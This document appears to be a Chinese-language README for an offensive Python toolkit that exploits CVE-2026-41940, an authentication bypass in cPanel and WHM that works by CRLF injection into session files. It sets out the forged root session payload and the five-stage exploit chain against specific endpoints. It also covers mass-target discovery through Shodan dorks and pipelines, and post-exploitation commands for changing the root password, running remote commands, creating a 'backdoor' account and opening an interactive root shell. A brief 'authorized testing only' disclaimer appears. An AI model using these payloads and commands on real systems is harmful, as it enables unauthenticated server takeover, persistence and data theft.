CVE-2026-41940 自动化扫描器与后渗透利用工具包 — 通过会话文件 CRLF 注入绕过 cPanel 与 WHM root 认证
英文 | فارسی (波斯语)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
CVE-2026-41940 自动化扫描器与后渗透工具包 — 通过会话文件 CRLF 注入绕过 cPanel & WHM 根认证。
CPANEL CVE EXPLOIT 是一款单文件 Python 工具,专为对受 CVE-2026-41940 影响的 cPanel & WHM 服务器进行授权安全评估而设计。
该漏洞允许未经认证的远程攻击者通过 Authorization: Basic 请求头中的 CRLF 注入污染 WHM 会话文件,从而绕过身份验证,在无需有效凭据的情况下获得 WHM 根级访问权限。
在受影响的 cPanel & WHM 版本中,Session.pm 中的 saveSession() 在将会话文件写入磁盘之后才调用 filter_sessiondata()。攻击者可以通过 HTTP Authorization: Basic 请求头注入 CRLF(\r\n)字符,这些字符会被直接写入磁盘上的会话文件——从而绕过净化流程。
该工具使用一个 Base64 编码的有效载荷,解码后为:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
这些字段模拟了一个完全通过认证的 root WHM 会话,包括 2FA 绕过(tfa_verified=1)和 root 权限标志(hasroot=1)。
cPanel 已将 filter_sessiondata() 的执行时机调整为在 Session.pm 中会话写入操作之前。
漏洞利用链由 5 个阶段(阶段 0–4)组成:
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
注意: 运行已修补构建版本的目标会在扫描期间被自动标记并跳过。
| 包 | 用途 |
|---|---|
selenium | 浏览器自动登录(--selenium) |
| Chrome / Firefox | Selenium 的浏览器引擎 |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
无需构建步骤,直接运行:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list
# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json
usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
[--action {list,passwd,cmd,exec,info,version,shell,adduser}]
[--passwd PASSWD] [--cmd CMD]
[--new-user NEW_USER] [--new-domain NEW_DOMAIN]
[--read-file READ_FILE] [--selenium]
[--engine {chrome,firefox}] [--browser] [--check-rce]
[-o OUTPUT] [--no-color]
| 标志 | 描述 |
|---|---|
-u, --url | 单个目标 URL(例如 https://host:2087) |
| 标志 | 描述 |
|---|---|
-o, --output | 将发现结果保存到 JSON 文件 |
--no-color | 禁用 ANSI 彩色输出 |
后渗透标志仅适用于单个目标(
-u,不适用于批量扫描)。
# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'
# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
--action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'
# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell
# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome
# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser
使用 --action shell 启动完整的交互式会话:
[email protected] ▶ help
id / whoami / hostname / version → server info
ls [path] → file listing
cat [path] → read file contents
accounts → list cPanel accounts
addadmin <user> <pass> → create WHM admin/reseller
passwd <newpass> → change root password
exec <command> → run OS command
exit / quit → exit shell
示例:
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
user=webuser1 domain=example.com [email protected]
user=webuser2 domain=test.com [email protected]
[email protected] ▶ cat /etc/passwd
[email protected] ▶ exit
python3 test-cve.py -l targets.txt -t 20 -o results.json
cat urls.txt | python3 test-cve.py
# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30
# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json
| 格式 | 示例 |
|---|---|
| 完整 URL | https://192.168.1.1:2087 |
| IP + 端口 | 192.168.1.1 2087 |
| Shodan 输出 | 通过正则自动解析 |
| ANSI 彩色输出 | 自动去除 |
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087
使用 -o results.json 时,发现结果将以 JSON 格式保存:
{
"scanner": "cPanelSniper v2.0",
"cve": "CVE-2026-41940",
"timestamp": "2026-05-23T12:00:00.000000",
"findings": [
{
"severity": "CRIT",
"title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
"target": "https://target.com:2087",
"canonical": "server.target.com",
"session": "root:SessionName",
"token": "/cpsess1234567890",
"version": "11.126.0.50",
"api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
"evidence": "{\"version\":\"11.126.0.50\"...}",
"cve": "CVE-2026-41940",
"cvss": "10.0",
"timestamp": "2026-05-23T12:00:05.000000"
}
]
}
══════════════════════════════════════════════════════════════════════
cPanelSniper — CVE-2026-41940 Scan Complete
Time: 12.4s · Targets: 50
──────────────────────────────────────────────────────────────────────
⚡ 2 VULNERABLE TARGET(S)
Target : https://victim1.com:2087
Version : 11.126.0.50
Token : /cpsess1234567890
API URL : https://victim1.com:2087/cpsess1234567890/json-api/version
Evidence : {"version":"11.126.0.50"...}
══════════════════════════════════════════════════════════════════════
$ python3 test-cve.py -u https://target.com:2087
Configuration:
Targets : 1
Threads : 10
Timeout : 15s
Action : scan only
12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [ OK] Stage1: preauth session = root:abc123...
12:00:03 [ OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [ OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200 {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND] Token : /cpsess1234567890
12:00:05 [PWND] Session : root:abc123...
12:00:05 [PWND] Version : 11.126.0.50
12:00:05 [PWND] API URL : https://target.com:2087/cpsess1234567890/json-api/version
cpanel-cve-exploit/
├── test-cve.py # Main scanner & exploit tool (single file)
├── requirements.txt # Optional: selenium
├── README.md # English documentation
└── README.fa.md # Persian documentation (فارسی)
仅限授权安全测试使用
本工具仅供教育和授权渗透测试目的使用。
使用本工具即表示您同意负责任地使用,并遵守所有适用的法律法规。
2087(HTTPS)为安全研究人员构建 · 请负责任地使用
| 属性 | 值 |
|---|
| CVE | CVE-2026-41940 |
| 严重性 | 严重 |
| CVSS | 10.0 |
| 攻击向量 | 网络 / 未认证 |
| 影响 | 完全 WHM 根访问权限 |
| 默认端口 | 2087(WHM) |
| 状态 | 已确认在野利用(2026 年 4 月) |
| 阶段 | 端点 | 用途 |
|---|
| 0 | /openid_connect/cpanelid | 通过 307 重定向自动发现规范主机名 |
| 1 | /login/?login_only=1 | 使用错误凭据获取预认证 whostmgrsession cookie |
| 2 | / | 将 CRLF 污染的 Authorization: Basic 请求头注入会话文件 |
| 3 | /scripts2/listaccts | 触发 do_token_denied gadget 将会话刷新到缓存 |
| 4 | /{token}/json-api/version | 确认根访问权限 — HTTP 200 返回版本 JSON |
| 功能 | 描述 |
|---|
| 单目标扫描 | 对单个 WHM URL 执行完整漏洞利用链 |
| 批量扫描 | 从文件或 stdin 进行多线程扫描 |
| 版本检测 | 自动比较已修补/易受攻击的版本 |
| 后渗透 API | 密码修改、命令执行、账户列举、用户创建 |
| 交互式 Shell | 内置 WHM root Shell,支持文件读取与 API 命令 |
| Selenium 登录 | 自动向 Chrome/Firefox 注入会话 cookie |
| 手动浏览器回退 | 提供用于手动 WHM 登录的控制台 JavaScript 片段 |
| RCE 检测 | 绕过成功后快速执行 id / uname -a 验证 |
| JSON 导出 | 将所有发现结果保存为结构化 JSON 报告 |
| 管道就绪 | 可与 httpx、subfinder、shodan 和 awk 管道配合使用 |
| 仅标准库 | 核心功能无需 pip 依赖 |
| 彩色输出 | 实时阶段日志,带严重性指示符 |
| 分支 | 修补版本 | 状态 |
|---|
| 11.110.x | 11.110.0.97 | 低于补丁版本即受影响 |
| 11.118.x | 11.118.0.63 | 低于补丁版本即受影响 |
| 11.126.x | 11.126.0.54 | 低于补丁版本即受影响 |
| 11.132.x | 11.132.0.29 | 低于补丁版本即受影响 |
| 11.134.x | 11.134.0.20 | 低于补丁版本即受影响 |
| 11.136.x | 11.136.0.5 | 低于补丁版本即受影响 |
-l, --list | 包含 URL 的文件,每行一个 |
--hostname | 覆盖规范 Host 请求头(默认自动发现) |
| 标志 | 默认值 | 描述 |
|---|
-t, --threads | 10 | 并发扫描线程数 |
--timeout | 15 | HTTP 超时时间(秒) |
--rate-limit | 0 | 目标提交之间的延迟(秒) |
| 操作 | 标志 | 描述 |
|---|
| 仅扫描 | (默认) | 运行漏洞利用链并报告漏洞 |
| 列举账户 | --action list | 通过 WHM API 列举所有 cPanel 账户 |
| 修改密码 | --action passwd --passwd <pass> | 修改 root WHM 密码 |
| 执行命令 | --action cmd --cmd "id;whoami" | 通过 WHM exec API 执行操作系统命令 |
| 服务器信息 | --action info | 收集主机名、负载、磁盘、版本等信息 |
| 获取版本 | --action version | 通过 API 获取 cPanel/WHM 版本 |
| 创建账户 | --action adduser --new-user u --new-domain d.com --passwd p | 创建新的 cPanel 账户 |
| 交互式 Shell | --action shell | 启动交互式 WHM root Shell |
| RCE 检测 | --check-rce | 成功绕过后执行 id;uname -a |
| Selenium 登录 | --selenium [--engine chrome|firefox] | 在浏览器中自动登录 WHM 控制面板 |
| 手动浏览器 | --browser | 打印用于手动登录的 JavaScript 控制台命令 |